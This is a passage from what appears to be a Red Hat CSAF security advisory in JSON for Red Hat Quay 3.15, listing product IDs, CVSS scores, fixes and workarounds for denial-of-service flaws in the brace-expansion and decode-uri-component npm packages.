          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "There is no practical mitigation for this vulnerability. The brace-expansion package is typically a transitive dependency pulled in via minimatch and glob, making it difficult to isolate. Users should upgrade to a fixed version of brace-expansion when one becomes available.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity"
    },
    {
      "cve": "CVE-2026-45822",
      "cwe": {
        "id": "CWE-1050",
        "name": "Excessive Platform Resource Consumption within a Loop"
      },
      "discovery_date": "2026-06-30T09:01:06.468966+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2494807"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `decode-uri-component` library. This vulnerability allows a remote attacker to trigger a Denial of Service (DoS) by submitting specially crafted input. The `decode()` function, when processing a large number of encoded URI components, consumes excessive CPU resources, which can lead to the application becoming unresponsive and unavailable.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "decode-uri-component: decode-uri-component: Denial of Service via crafted input",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A denial of service flaw was found in the decode-uri-component npm package. The decode() function exhibits super-linear time complexity when processing input containing many percent-encoded sequences, allowing an attacker to cause significant CPU consumption and event-loop blocking. In Red Hat products where this package is bundled (OpenShift Console, Quay, Pipelines, RHOAI, and others), exploitation requires that attacker-controlled input containing crafted percent-encoded strings reaches the decode() function without prior length validation. Red Hat rates this as Moderate severity since the impact is limited to availability with no confidentiality or integrity impact, consistent with the CNA\u0027s CVSS 4.0 assessment of 6.6 Medium.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-45822"
        },
        {
          "category": "external",
          "summary": "RHBZ#2494807",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2494807"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-45822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45822"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-45822",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45822"
        },
        {
          "category": "external",
          "summary": "https://github.com/SamVerschueren/decode-uri-component/blob/00662938dc7c6241547ae8abce7785cc13ffd3f6/index.js",
          "url": "https://github.com/SamVerschueren/decode-uri-component/blob/00662938dc7c6241547ae8abce7785cc13ffd3f6/index.js"
        },
        {
          "category": "external",
          "summary": "https://github.com/SamVerschueren/decode-uri-component/commit/fa479dafeede7bedf04e5c89aa78f2a78c664005",
          "url": "https://github.com/SamVerschueren/decode-uri-component/commit/fa479dafeede7bedf04e5c89aa78f2a78c664005"
        },
        {
          "category": "external",
          "summary": "https://www.npmjs.com/package/decode-uri-component",
          "url": "https://www.npmjs.com/package/decode-uri-component"
        }
      ],
      "release_date": "2026-06-30T08:05:36.399000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Validate and limit the length of any user-controlled input before passing it to decode-uri-component\u0027s decode() function. Inputs containing more than approximately 200 percent-encoded tokens (e.g. \u0027%ab\u0027 sequences) can trigger noticeable delays. Reject or truncate URI components exceeding a reasonable length threshold before decoding. A fix exists in the upstream repository (commit fa479daf) but has not yet been included in an npm release.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
